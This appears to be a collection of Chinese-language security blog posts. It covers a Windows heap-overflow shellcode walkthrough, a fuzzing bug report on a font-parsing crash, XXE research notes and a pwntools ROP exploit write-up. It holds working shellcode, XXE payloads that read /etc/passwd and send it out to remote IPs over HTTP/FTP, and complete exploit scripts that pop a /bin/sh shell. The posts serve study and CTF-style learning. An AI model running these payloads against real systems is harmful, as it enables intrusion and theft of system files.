shellcode

首先来看0day中给出的shellcode

"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\F8"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1a\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00"		# shellcode写入地址,需要根据调试得出
"\x30\xff\x12\x00"		# SEH handler地址

其中SEH handler地址,我们查看到的是0x12ff2c为什么会变成30了呢?这里先用30尝试一下,具体原因下面再解释

获取堆的地址,并将数据复制进去

尝试执行

程序出错了,出现一个Access violation错误。为什么会出现这个问题呢?这个跟HeapAlloc函数的具体实现有关,这个有机会详细再分析一下。

现在来看看导致DWORD SHOOT的原因。

主要就是这个操作

node->f->b = node->b
node->b->f = node->f

根据代码,首先分配一个堆h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);,之后在此基础上又分配一个堆h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
分配第二个堆的过程就是从创建的那个Freelist[0]链接的块上再分配一块
理论性太强可能不太好理解,实际操作一下看看,由于我的win2000虚拟机符号数据总是无法使用,所以使用xp_sp3实验一下(因为shellcode是针对2000的,所以不会弹窗,但是能够帮助我们理解)

第一步,创建一个堆,并连接到Freelist[0]上

查看是否连接到了Freelist[0]上

成功连接到了Freelist[0]上,长度0x1000,分配第一个堆空间

第一个圈出来的是堆分配的空间,第二个圈出来的是剩下的堆,剩下的堆还是连接在Freelist[0]上

再回到win2000,看看复制后的情况

第二次分配后,内存空间状况

shellcode代码中的第4-7字节由\x90\x90\x90\x90,变为了\x00\x12\xff\x30,回到堆分配时链表的操作上来,第二次分配时,node就是那一大片剩余的空白空间。会进行这个操作

node->f->b = node->b ===> node->f(00310688)->b(0031068c) = node->b(0012ff30)
node->b->f = node->f ===> node->b(0012ff30)->f(0012ff2c) = node->f(00310688)

这里终于弄清了为什么字节会发生变化,并且DORD SHOOT的地址是0012ff30而不是0012ff2c了。
现在这里还有一个疑问,shellcode的4-7字节的变化会对shellcode的执行产生影响吗?我们通过在shellcode的入口地址设断点来判断。

改变的是eax,ebx两个寄存器,再来看看shellcode有没有直接利用这两个寄存器

直接通过shellcode的汇编代码发现,ebx,eax的初始化值都不会对代码的运行产生影响。为了不必要的麻烦,我们也可以利用jmp 0x4跳过被改变的代码,shellcode可以这么写

"\x90\x90\xeb\x04\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1a\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00"
"\x30\xff\x12\x00"

其中\xeb\x04表示汇编代码jmp 0x4,看看运行

跳过了那段代码,并成功弹窗。

总结

分析堆溢出,真心累啊。。。

heap-based out-of-bounds read when parsing otf file with undefined FontName in svg option

heap-based out-of-bounds read when parsing otf file with undefined FontName in svg option

fuzz出来的afdko漏洞,目前已经被修复

Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.

I found this bug with google/honggfuzz.

In lates commit 2e8fc3d6b218cb79a0b159ba663a2ad7622fb73c

use clang compile with debug option

compile tx in c/tx/build/linux/gcc/debug/

make clean && CC=clang make

then use tx to parse a specific otf file

tx -svg poc.otf

tx segment fault

./tx -svg poc.otf
./tx[1]    28077 segmentation fault (core dumped)  ./tx -svg poc.otf

I use pwndbg to debug

 ? 0x7ffff778f746 <strlen+38>    movdqu xmm4, xmmword ptr [rax]
   0x7ffff778f74a <strlen+42>    pcmpeqb xmm4, xmm0
   0x7ffff778f74e <strlen+46>    pmovmskb edx, xmm4
   0x7ffff778f752 <strlen+50>    test   edx, edx
   0x7ffff778f754 <strlen+52>    je     strlen+58 <0x7ffff778f75a>
    ↓
   0x7ffff778f75a <strlen+58>    and    rax, 0xfffffffffffffff0
   0x7ffff778f75e <strlen+62>    pcmpeqb xmm1, xmmword ptr [rax + 0x10]
   0x7ffff778f763 <strlen+67>    pcmpeqb xmm2, xmmword ptr [rax + 0x20]
   0x7ffff778f768 <strlen+72>    pcmpeqb xmm3, xmmword ptr [rax + 0x30]
   0x7ffff778f76d <strlen+77>    pmovmskb edx, xmm1
   0x7ffff778f771 <strlen+81>    pmovmskb r8d, xmm2
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffdc58 ?? 0x441a89 (writeXMLStr+25) ?? mov    qword ptr [rbp - 0x18], rax
01:0008│      0x7fffffffdc60 ?? 0x18
02:0010│      0x7fffffffdc68 ?? 0x6f37f0 ?? 0x1
03:0018│      0x7fffffffdc70 ?? 0x7fffffffdca0 ?? 0x7fffffffdef0 ?? 0x7fffffffdf10 ?? 0x7fffffffdf70 ?? ...
04:0020│      0x7fffffffdc78 ?? 0x441a04 (writeStr+52) ?? add    rsp, 0x20
05:0028│      0x7fffffffdc80 ?? 0x0
06:0030│      0x7fffffffdc88 ?? 0x6f37f0 ?? 0x1
07:0038│      0x7fffffffdc90 ?? 0x0
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ? f 0     7ffff778f746 strlen+38
   f 1           441a89 writeXMLStr+25
   f 2           441428 svwEndFont+984
   f 3           478914 svg_EndFont+36
   f 4           46ec3b svrReadFont+443
   f 5           4058fb doFile+939
   f 6           404f3e doSingleFileSet+46
   f 7           402d89 parseArgs+425
   f 8           401c27 main+455
   f 9     7ffff7724830 __libc_start_main+240
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x0)
pwndbg> bt
#0  strlen () at ../sysdeps/x86_64/strlen.S:106
#1  0x0000000000441a89 in writeXMLStr (h=0x6f37f0, s=0x0) at ../../../../../source/svgwrite/svgwrite.c:215
#2  0x0000000000441428 in svwEndFont (h=0x6f37f0, top=0x6f8e00) at ../../../../../source/svgwrite/svgwrite.c:450
#3  0x0000000000478914 in svg_EndFont ()
#4  0x000000000046ec3b in svrReadFont ()
#5  0x00000000004058fb in doFile (h=0x6ec010, srcname=0x7fffffffe67f "poc.otf") at ../../../../source/tx.c:435
#6  0x0000000000404f3e in doSingleFileSet (h=0x6ec010, srcname=0x7fffffffe67f "poc.otf") at ../../../../source/tx.c:488
#7  0x0000000000402d89 in parseArgs (h=0x6ec010, argc=2, argv=0x7fffffffe3b0) at ../../../../source/tx.c:558
#8  0x0000000000401c27 in main (argc=2, argv=0x7fffffffe3b0) at ../../../../source/tx.c:1587
#9  0x00007ffff7724830 in __libc_start_main (main=0x401a60 <main>, argc=3, argv=0x7fffffffe3a8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe398) at ../csu/libc-start.c:291
#10 0x0000000000401989 in _start ()

then I do some analysis, I found when tx parse the specific otf file with no FontName, tx will occur segment fault.

To show the bug details, set breakpoint at svgwrite.c:383 in function svwEndFont

/* Finish reading font. */
int svwEndFont(svwCtx h, abfTopDict *top) {
    size_t cntTmp = 0;
    size_t cntRead = 0;
    size_t cntWrite = 0;
    char *pBuf = NULL;

    /* Check for errors when accumulating glyphs */
    if (h->err.code != 0)
        return h->err.code;

    h->top = top; // no check!

    /* Set error handler */
    DURING_EX(h->err.env)
        ...

then check some variable

pwndbg> p top
$1 = (abfTopDict *) 0x6f8e00
pwndbg> p *top
$2 = {
  version = {
    ptr = 0x0, 
    impl = -1
  }, 
  Notice = {
    ptr = 0x0, 
    impl = -1
  }, 
  Copyright = {
    ptr = 0x0, 
    impl = -1
  }, 
  FullName = {
    ptr = 0x0, 
    impl = -1
  }, 
  FamilyName = {
    ptr = 0x0, 
    impl = -1
  }, 
  Weight = {
    ptr = 0x0, 
    impl = -1
  }, 
  isFixedPitch = 0, 
  ItalicAngle = 0, 
  UnderlinePosition = -100, 
  UnderlineThickness = 50, 
  UniqueID = -1, 
  FontBBox = {0, 0, 0, 0}, 
  StrokeWidth = 0, 
  XUID = {
    cnt = 0, 
    array = {0 <repeats 16 times>}
  }, 
  PostScript = {
    ptr = 0x0, 
    impl = -1
  }, 
  BaseFontName = {
    ptr = 0x0, 
    impl = -1
  }, 
  BaseFontBlend = {
    cnt = 0, 
    array = {0 <repeats 15 times>}
  }, 
  FSType = -1, 
  OrigFontType = -1, 
  WasEmbedded = 0, 
  SynBaseFontName = {
    ptr = 0x0, 
    impl = -1
  }, 
  cid = {
    FontMatrix = {
      cnt = 0, 
      array = {0, 0, 0, 0, 0, 0}
    }, 
    CIDFontName = {
      ptr = 0x0, 
      impl = -1
    }, 
    Registry = {
      ptr = 0x0, 
      impl = -1
    }, 
    Ordering = {
      ptr = 0x0, 
      impl = -1
    }, 
    Supplement = -1, 
    CIDFontVersion = 0, 
    CIDFontRevision = 0, 
    CIDCount = 8720, 
    UIDBase = -1
  }, 
  FDArray = {
    cnt = 1, 
    array = 0x6f90a8
  }, 
  sup = {
    flags = 0, 
    srcFontType = -1, 
    filename = 0x0, 
    UnitsPerEm = 1000, 
    nGlyphs = 0
  }, 
  maxstack = 0, 
  varStore = 0x0
}

you can see, otf file has no FontName

BaseFontName = {
    ptr = 0x0,  // null value
    impl = -1
 }

then check top->FDArray.array

pwndbg> p *(top->FDArray.array) 
$5 = {
  FontName = {
    ptr = 0x0,  // null value
    impl = -1
  }, 

back into souce code, in svgwrite.c:393

h->top = top;  // no check!

in svgwrite.c:450

 writeXMLStr(h, h->top->FDArray.array[0].FontName.ptr);

there is no code to check whether h->top->FDArray.array[0].FontName.ptr is available or not.

in writeXMLStr

static void writeXMLStr(svwCtx h, const char *s) {
    /* 64-bit warning fixed by cast here */
    long len = (long)strlen(s);  // segment fault!
    int i;
    char buf[9];
    unsigned char code;
....

it visit s, then segment fault.

The bug exsits, because tx doesn't check FontName pointer.

All data is in heap. If someone use a specific otf file, it may cause some security issues with OOB

If necessary, I can send you a proof of concept for this bug.

XXE 漏洞研究(完善中)

XXE 漏洞

XML简单基础

XML规则

内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

引入外部实体方式

  1. 直接引入
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd>
]>
<root>&b;</root>
  1. 引入外部dtd
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://example.com/evil.dtd">
    %d;
]>
<root>&b;</root>

其中evil.dtd

<!ENTITY b system "file:///etc/passwd">
  1. 2的变种
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://example.com/evil.dtd">
<root>&b;</root>

其中evil.dtd

<!ENTITY b SYSTEM "file:///etc/passwd">

有无百分号%决定了是否引用外部的dtd文件,引用了外部实体,外部的实体可以在POST请求中调用,也可以在外部实体文件中调用,测试中在POST请求中可以实现调用。调用实体一般是%entity;

实例测试

存在回显,且回显的规则已知

使用php测试,其中测试代码

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;
?>
  1. 直接使用规则测试是否允许远程实体解析
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://j7wepb.ceye.io/" >]>
<root>
<name>&xxe;</name>
</root>
  1. 直接测试回显本地文件
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

不存在回显,即XXE盲注(Blind XXE)

在测试中,如果不存在回显的情况,首先需要使用确定是否存在远程实体解析,如果存在,那么可以将数据远程到设置的主机上显示

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % xxe SYSTEM "http://116.211.25.21:5000/evil.dtd">
    %xxe;
]>

其中evil.dtd

<!ENTITY % send SYSTEM "<!ENTITY &#25; extfile SYSTEM 'ftp://116.211.25.21:2121/?p=%file;'>">                                                  
%send;                                                                                                                                        
%extfile;

在测试中,还有一种情况,可能测试成功不回显,但是在测试造成错误时,会把错误信息打印出来

<b>Warning</b>:  simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://45.32.138.6:8000/?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/ga

XXE形成(涉及各种服务)

  1. 通过xmlrpc

其中xml post

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>username</value></param>
   <param><value>password</value></param>
  </params>
</methodCall>

可以形成的xxe
<xml version="1.0"?>]>&xxe;

  1. soap服务

  2. 上传XML配置文件等
    有一则博客园上传案例

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!DOCTYPE note [
  <!ENTITY test SYSTEM "file:///C://WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS">
]]]>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">

   <channel>
             <title>博客园-阔爱的贝贝</title>
         <link>http://www.cnblogs.com/kuoaidebb/</link>
           <description>一枚想当黑客的程序媛</description>
            <language>zh-cn</language>
               <lastBuildDate>Sun, 03 May 2015 11:19:00 GMT</lastBuildDate>
             <pubDate>Sun, 03 May 2015 11:19:00 GMT</pubDate>
         <ttl>60</ttl>
            <item>
                 <title>test]]&gt;&test;</title>            <link>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</link>

                    <dc:creator>阔爱的贝贝</dc:creator>
                   <author>阔爱的贝贝</author>
                   <pubDate>Sun, 03 May 2015 11:13:00 GMT</pubDate>               <guid>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</guid>

                    <description><![CDATA[<p>]]&gt;</p>]]></description>
               </item>
 </channel>
</rss>

不同语言对应的使用的库存在XXE统计

参考文献

未知攻焉知防——XXE漏洞攻防--腾讯安全中心
XXE漏洞以及Blind XXE总结--Exploit的小站

DynELF leak函数导致堆栈不平衡

DynELF leak函数导致堆栈不平衡

Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击

根据蒸米大牛的文章,在没有目标libc.so的情况下,如何进行ROP攻击

exp代码

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

level2 = ELF('./level2')
p = process('./level2')

write_plt = level2.symbols['write']
read_plt = level2.symbols['read']

bss_addr = 0x0804a020
pppr_addr = 0x80484f9
vul_addr = 0x804843b

def leak(address):
    payload = 'a' * 140 + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

d = DynELF(leak, elf=level2)
system_addr_leak = d.lookup('system', 'libc')
print 'system_addr by leak: ', hex(system_addr_leak)

system_addr = system_addr_leak
payload2 = 'a'*140 + p32(read_plt) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vul_addr) + p32(bss_addr)

print 'sending payload2'
p.send(payload2)
print 'sending /bin/sh'
p.send('/bin/sh\x00')

p.interactive()

我的环境会出现这种情况

1557406702692

之后进行了各种调试,各种测试payload,但是都没有找到问题,在寻找解决方法时,在pwntoolsissue里找到了,是这么说的

I finally figure out that the leak function overwrites some part of environ on the stack, which leads to failure of execve inside system...
But why the DynELF needs to write something onto stack to find addr of an exported symbol? According doc of pwntools, it compares the hash of, like 'printf' to the content of an addr. So only reading should work.

他出现的问题和gdb调试出现的问题,与我一模一样。

说是leak函数覆盖了栈,导致环境变量被更改,从而造成system执行失败,那我们就来测试

排查

首先看一下leak函数

def leak(address):
    payload = 'a' * 140 + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

根据上面的输出,leak函数会不断执行,会一直进行如下循环

write_plt<--------+
  |               |
  |               |
  +-- >vulnerable_function

在这个循环的过程中,真的有可能会造成栈被破坏吗?

利用gdb.attach进行附加测试,代码做一下更改

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

level2 = ELF('./level2')
p = process('./level2')

gdb.attach(p, 'b vulnerable_function')
write_plt = level2.symbols['write']
read_plt = level2.symbols['read']

bss_addr = 0x0804a020
pppr_addr = 0x80484f9
vul_addr = 0x804843b
...

执行,并观察栈的变化

成功附加

1557407582804

继续执行,注意查看栈

1557407622480

再次继续执行

1557407666237

比上一次增加了8,再次执行验证

1557407723381

同样也是增加了8,如果继续continue,会发现结果也是一样的,每次执行leak一次,esp便会增加8个字节。

至于为什么会每次执行都会把栈增加8个字节,其实很好理解,正常汇编调用函数

call func => push eip; jmp addr

func:
...
leave
ret       => pop eip

每次都会把当前指令压入栈,执行完函数弹出eip,但是我们通过覆盖的方式直接调用

jmp addr 

func:
leave
ret   => pop eip

可以发现每个函数会相差4个字节,俩函数就是8个字节。理论上也解释通了。

现在需要每次执行leak函数后把栈平衡了,需要做的就是sub esp, 8,这个问题想了很久也没有找到办法。ROPGadget搜索不到合适的指令。

最后发现网上依然有大牛解决了,详细看参考PWN——堆栈平衡的考虑

他的解决方案:

1. 跳转到main,造成esp每次减少0x10
2. 修正esp => esp+0x10

测试跳转到main函数

def leak(address):
    payload = 'a' * 140 + p32(write_plt) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

断在vulnerable_function

1557458889087

继续执行

1557458983597

一直执行下去也是一样,确实每次执行esp都会减少0x10个字节,所以需要寻找栈平衡,其实跟我们上面那个是一样的,pop|pop|pop|ret

1557459416935

那我们就再改写leak,再次测试

pppr_addr = 0x80484f9
def leak(address):
    payload = 'a' * 140 +  p32(pppr_addr) + p32(0) + p32(0) + p32(0) + p32(write_plt) +p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

首先看一下栈是否平衡了

1557459665903

多次执行可以发现,目前栈已经平衡了,再看看能否getshell

1557459739046

成功执行

其中我的方法和purpleroc大牛的解决方法不太一样,而且大牛应该有个地方误解或者没有想清楚,也有可能没有说清楚,他的payload后面的一部分没用(但确实是可以使用的!)

payload1 = 'a'*140 + p32(add_esp) + p32(0) + p32(add_esp) + p32(0) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)  

这样就可以了

payload1 = 'a'*140 + p32(add_esp) + p32(0) + p32(0) + p32(0) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)  

后面那个add_esp直接会被略过

add_esp的方案,我也使用了,也测试了,其中add_esp处的指令是这样的

1557460332029

可以看到具体汇编指令,也会明白,执行完第一个add_esp直接会将esp增加0x10个字节

其他解决方案

上面的方法是从原理上比较原始的解决了我们遇到的问题,但是有没有更加优美的解决方案呢?

有!直接通过pwntoolsROP模块

win.py

from pwn import *

# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
 804844b:       55                      push   ebp
 804844c:       89 e5                   mov    ebp,esp
 804844e:       81 ec 88 00 00 00       sub    esp,0x88
 8048454:       83 ec 04                sub    esp,0x4
 8048457:       68 00 01 00 00          push   0x100
 804845c:       8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
 8048462:       50                      push   eax
 8048463:       6a 00                   push   0x0
 8048465:       e8 a6 fe ff ff          call   8048310 <read@plt>
 804846a:       83 c4 10                add    esp,0x10
 804846d:       c9                      leave  
 804846e:       c3                      ret    

0804846f <main>:
 804846f:       8d 4c 24 04             lea    ecx,[esp+0x4]
 8048473:       83 e4 f0                and    esp,0xfffffff0
 8048476:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048479:       55                      push   ebp
 804847a:       89 e5                   mov    ebp,esp
 804847c:       51                      push   ecx
 804847d:       83 ec 04                sub    esp,0x4
 8048480:       e8 c6 ff ff ff          call   804844b <vulnerable_function>
 8048485:       83 ec 04                sub    esp,0x4
 8048488:       6a 0d                   push   0xd
 804848a:       68 30 85 04 08          push   0x8048530
 804848f:       6a 01                   push   0x1
 8048491:       e8 aa fe ff ff          call   8048340 <write@plt>
 8048496:       83 c4 10                add    esp,0x10
 8048499:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804849c:       c9                      leave  
 804849d:       8d 61 fc                lea    esp,[ecx-0x4]
 80484a0:       c3                      ret    
"""

# Load the ELF from disk so we can grab libc
elf = ELF('./level2')
libc = elf.libc

# Determine where stack control is by forcing a core dump.
io = process('./level2')
io.sendline(cyclic(1024))
io.recvall()

core = Core('core')

eip  = cyclic_find(core.eip)
log.info("EIP control @ %i" % eip)

# Actually exploit the process this time
io = process('./level2')

# Create a ROP stack to dump the GOT and return to main()
# so we can exploit again.
rop = ROP(elf)
rop.write(1, elf.got['read'], 4)
rop.main()
print rop.dump()

io.send(fit({
    eip: str(rop)
}))

# Get the address of 'read'
read = io.unpack()

# Adjust libc against that offset
libc.address = read - libc.symbols['read']

# Get the address of system(), and build our new ROP stack.
system = libc.symbols['system']
binsh  = libc.search('sh\x00').next()

rop = ROP(libc)
rop.system(binsh)

# Send the second ROP which gets us a shell.
io.send(fit({
    eip: str(rop)
}))

io.interactive()

执行试试

1557740138810

可以发现其中利用ROP构造的gadgets会自动进行栈平衡,并且注意这句

libc.address = read - libc.symbols['read']

利用readgot地址减去readplt地址就可以得到libc的地址,这个暂时还没有理解是为什么,并且这种方法的优势是相当于只用一次leak即可找到libc.address,这样即使栈会被覆盖部分数据,正常情况下也不会对getshell产生较大影响

利用vulnerable_function测试

from pwn import *

# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
 804844b:       55                      push   ebp
 804844c:       89 e5                   mov    ebp,esp
 804844e:       81 ec 88 00 00 00       sub    esp,0x88
 8048454:       83 ec 04                sub    esp,0x4
 8048457:       68 00 01 00 00          push   0x100
 804845c:       8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
 8048462:       50                      push   eax
 8048463:       6a 00                   push   0x0
 8048465:       e8 a6 fe ff ff          call   8048310 <read@plt>
 804846a:       83 c4 10                add    esp,0x10
 804846d:       c9                      leave  
 804846e:       c3                      ret    

0804846f <main>:
 804846f:       8d 4c 24 04             lea    ecx,[esp+0x4]
 8048473:       83 e4 f0                and    esp,0xfffffff0
 8048476:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048479:       55                      push   ebp
 804847a:       89 e5                   mov    ebp,esp
 804847c:       51                      push   ecx
 804847d:       83 ec 04                sub    esp,0x4
 8048480:       e8 c6 ff ff ff          call   804844b <vulnerable_function>
 8048485:       83 ec 04                sub    esp,0x4
 8048488:       6a 0d                   push   0xd
 804848a:       68 30 85 04 08          push   0x8048530
 804848f:       6a 01                   push   0x1
 8048491:       e8 aa fe ff ff          call   8048340 <write@plt>
 8048496:       83 c4 10                add    esp,0x10
 8048499:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804849c:       c9                      leave  
 804849d:       8d 61 fc                lea    esp,[ecx-0x4]
 80484a0:       c3                      ret    
"""

# Load the ELF from disk so we can grab libc
elf = ELF('./level2')
libc = elf.libc

# Determine where stack control is by forcing a core dump.
io = process('./level2')
io.sendline(cyclic(1024))
io.recvall()

core = Core('core')

eip  = cyclic_find(core.eip)
log.info("EIP control @ %i" % eip)

# Actually exploit the process this time
io = process('./level2')

# Create a ROP stack to dump the GOT and return to main()
# so we can exploit again.
rop = ROP(elf)
rop.write(1, elf.got['read'], 4)
rop.vulnerable_function()
print rop.dump()

io.send(fit({
    eip: str(rop)
}))

# Get the address of 'read'
read = io.unpack()

# Adjust libc against that offset
libc.address = read - libc.symbols['read']

# Get the address of system(), and build our new ROP stack.
system = libc.symbols['system']
binsh  = libc.search('sh\x00').next()

rop = ROP(libc)
rop.system(binsh)

# Send the second ROP which gets us a shell.
io.send(fit({
    eip: str(rop)
}))

io.interactive()

多次测试,每次测试都可以成功getshell

1557751273876

通过ropleak方式

win2.py

from pwn import *

# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
 804844b:       55                      push   ebp
 804844c:       89 e5                   mov    ebp,esp
 804844e:       81 ec 88 00 00 00       sub    esp,0x88
 8048454:       83 ec 04                sub    esp,0x4
 8048457:       68 00 01 00 00          push   0x100
 804845c:       8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
 8048462:       50                      push   eax
 8048463:       6a 00                   push   0x0
 8048465:       e8 a6 fe ff ff          call   8048310 <read@plt>
 804846a:       83 c4 10                add    esp,0x10
 804846d:       c9                      leave  
 804846e:       c3                      ret    

0804846f <main>:
 804846f:       8d 4c 24 04             lea    ecx,[esp+0x4]
 8048473:       83 e4 f0                and    esp,0xfffffff0
 8048476:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8048479:       55                      push   ebp
 804847a:       89 e5                   mov    ebp,esp
 804847c:       51                      push   ecx
 804847d:       83 ec 04                sub    esp,0x4
 8048480:       e8 c6 ff ff ff          call   804844b <vulnerable_function>
 8048485:       83 ec 04                sub    esp,0x4
 8048488:       6a 0d                   push   0xd
 804848a:       68 30 85 04 08          push   0x8048530
 804848f:       6a 01                   push   0x1
 8048491:       e8 aa fe ff ff          call   8048340 <write@plt>
 8048496:       83 c4 10                add    esp,0x10
 8048499:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804849c:       c9                      leave  
 804849d:       8d 61 fc                lea    esp,[ecx-0x4]
 80484a0:       c3                      ret    
"""

# Load the ELF from disk so we can grab libc
elf = ELF('./level2')

# Determine where stack control is by forcing a core dump.
io = process('./level2')
io.sendline(cyclic(1024))
io.recvall()

core = Core('core')

eip  = cyclic_find(core.eip)
log.info("EIP control @ %i" % eip)

# Actually exploit the process this time
io = process('./level2')

# Create a ROP stack to dump the GOT and return to main()
# so we can exploit again.
@MemLeak
def leak(address):
    rop = ROP(elf)
    rop.write(1, address, 4)
    rop.main()

    io.send(fit({
        eip: str(rop)
    }))

    return io.recvn(4)

de = DynELF(elf=elf, leak=leak)
system = de.lookup('system', 'libc')

rop = ROP(elf)
bin_dash = '/bin/dash\x00'
rop.read(0, elf.bss(), len(bin_dash))
rop.call(system, [elf.bss()])

io.send(fit({
    eip: str(rop)
}))

io.interactive()

但是这种方式不知因何原因只能执行一次命令,之后就退出了,想了各种方法也没有调试出原因

1557753097105

总结

解决这个问题,花费了自己挺长时间的,从发现不能成功执行,到解决栈平衡的问题,想了各种各样的办法,最后收获也挺大

  1. leak一定要注意栈平衡的问题
  2. 多次测试可能会有其中几次leak并不会覆盖需要的环境变量,从而exploit有用,但是不稳定
  3. 多看官方的issues!
  4. 作为新手还有很多问题亟待解决!

参考

蒸米:一步一步学ROP之linux_x64篇

PWN——堆栈平衡的考虑

pwntools issue: pwnlib.dynelf.DynELF breaks something to make exploit broken

gist:win.py

gist:win2.py

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

